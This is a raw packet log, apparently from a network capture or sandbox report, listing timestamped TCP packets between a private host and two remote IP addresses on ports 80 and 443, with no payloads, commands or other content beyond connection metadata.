Nov 23, 2024 19:52:53.908607960 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.908653975 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.909356117 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.909398079 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.909553051 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.909594059 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.910254002 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.910295010 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.910465002 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.910510063 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.911191940 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.911237955 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.911317110 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.911361933 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.912092924 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.912141085 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.912141085 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.912180901 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.913012028 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.913057089 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.913136959 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.913182020 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.913893938 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.913938999 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.914045095 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.914083958 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.914809942 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.914854050 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.914860964 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.914900064 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.915864944 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.915911913 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.915936947 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.915980101 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.916858912 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.916980982 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.917030096 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.917543888 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.917656898 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.917715073 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.918469906 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.918517113 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.918610096 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.918678999 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.919410944 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.919441938 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.919466019 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.919476986 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.920270920 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.920312881 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.920653105 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.920711040 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.920772076 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.920840025 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.921597958 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.921649933 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.921650887 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.921761036 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.922504902 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.922573090 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.922643900 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.922681093 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.923408985 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.923459053 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.923495054 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.923536062 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.924324036 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.924370050 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.924421072 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.924460888 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.925234079 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.925292015 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.925322056 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.925414085 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.926069021 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.926119089 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.977010965 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.977123022 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.977168083 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.977207899 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.977426052 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.977473974 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.977574110 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.977618933 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.978245974 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.978319883 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.978605986 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.978646040 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.978698969 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.978883982 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.979566097 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.979623079 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.979651928 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.979691029 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.980443001 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.980493069 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.980570078 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.980653048 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.981374979 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.981427908 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.981462955 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.981501102 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.982265949 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.982319117 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.982403994 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.982450008 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.983196974 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.983249903 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.983300924 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.983427048 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:53.984067917 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:53.984116077 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.023555994 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.023631096 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.023819923 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.023830891 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.023842096 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.023874044 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.023890018 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.034476995 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.034527063 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.034651041 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.034821033 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.034872055 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.034914017 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.034970045 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.035008907 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.035056114 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.035712004 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.035759926 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.035805941 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.036611080 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.036659002 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.036775112 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.036921978 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.037512064 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.037558079 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.037679911 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.037765026 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.038424969 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.038491011 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.038552999 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.038602114 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.039341927 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.039453983 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.039483070 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.039550066 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.040215015 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.040249109 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.040255070 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.040288925 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.041150093 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.041239977 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.041280985 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.042088985 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.042124033 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.042131901 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.042161942 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.042963028 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.043018103 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.043085098 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.043178082 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.043884039 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.043987036 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.044033051 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.044840097 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.044895887 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.044938087 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.045722961 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.045897007 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.045900106 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.045984983 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.046602011 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.046658993 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.048969030 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.049015999 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.049067020 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.049105883 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.049460888 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.049504995 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.049554110 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.049601078 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.050362110 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.050406933 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.050463915 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.050512075 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.051270962 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.051337957 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.051367998 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.051367998 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.052179098 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.052226067 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.052282095 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.052319050 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.053081989 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.053137064 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.053189039 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.053227901 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.054053068 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.054100037 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.054162025 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.054213047 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.106144905 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.106206894 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.106241941 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.106292963 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.106614113 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.106669903 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.106710911 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.107027054 CET	443	49886	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:54.107268095 CET	49886	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:54.107278109 CET	443	49886	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:54.107397079 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.107409954 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.107449055 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.108282089 CET	443	49886	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:54.108339071 CET	49886	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:54.108346939 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.108388901 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.109499931 CET	49886	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:54.109555960 CET	443	49886	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:54.109724045 CET	49886	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:54.109730959 CET	443	49886	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:54.153851986 CET	49886	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:54.174021006 CET	443	49885	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:54.174288988 CET	49885	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:54.174299955 CET	443	49885	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:54.175359011 CET	443	49885	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:54.175420046 CET	49885	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:54.175785065 CET	49885	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:54.175848007 CET	443	49885	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:54.176223040 CET	49885	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:54.176229954 CET	443	49885	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:54.207808971 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.228853941 CET	49885	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:54.345268011 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.703984976 CET	443	49886	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:54.704010010 CET	443	49886	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:54.704016924 CET	443	49886	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:54.704041958 CET	443	49886	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:54.704067945 CET	443	49886	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:54.704073906 CET	49886	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:54.704082966 CET	443	49886	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:54.704114914 CET	49886	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:54.704114914 CET	49886	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:54.704174995 CET	49886	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:54.728399992 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.728437901 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.728526115 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.728883982 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.729012966 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.729043007 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.729093075 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.729132891 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.729424000 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.729893923 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.729906082 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.730067968 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.730914116 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.730986118 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.731015921 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.731256008 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.731782913 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.731795073 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.731888056 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.732593060 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.732692003 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.732695103 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.732837915 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.733530998 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.733542919 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.733635902 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.734657049 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.734694004 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.734766960 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.734766960 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.735327005 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.735338926 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.735507965 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.774436951 CET	443	49885	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:54.774460077 CET	443	49885	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:54.774466991 CET	443	49885	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:54.774481058 CET	443	49885	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:54.774487019 CET	443	49885	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:54.774493933 CET	443	49885	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:54.774568081 CET	49885	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:54.774568081 CET	49885	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:54.774579048 CET	443	49885	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:54.774887085 CET	49885	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:54.857758999 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.857810974 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.857944012 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.857944012 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.858030081 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.858115911 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.858150005 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.859014034 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.859035969 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.859074116 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.859570026 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.859688997 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.859697104 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.859807014 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.860445023 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.860567093 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.861354113 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.861396074 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.861428976 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.862250090 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.862284899 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.862303972 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.863147020 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.863166094 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.863265038 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.863620043 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.864285946 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.864393950 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.864964008 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.865034103 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.865092039 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.865499973 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.865869999 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.865940094 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.865978956 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.866791010 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.866892099 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.866935968 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.867724895 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.867737055 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.867824078 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.867852926 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.868679047 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.868781090 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.868815899 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.869036913 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.869509935 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.869580030 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.869642019 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.870441914 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.870454073 CET	80	49831	185.215.113.206	192.168.2.6
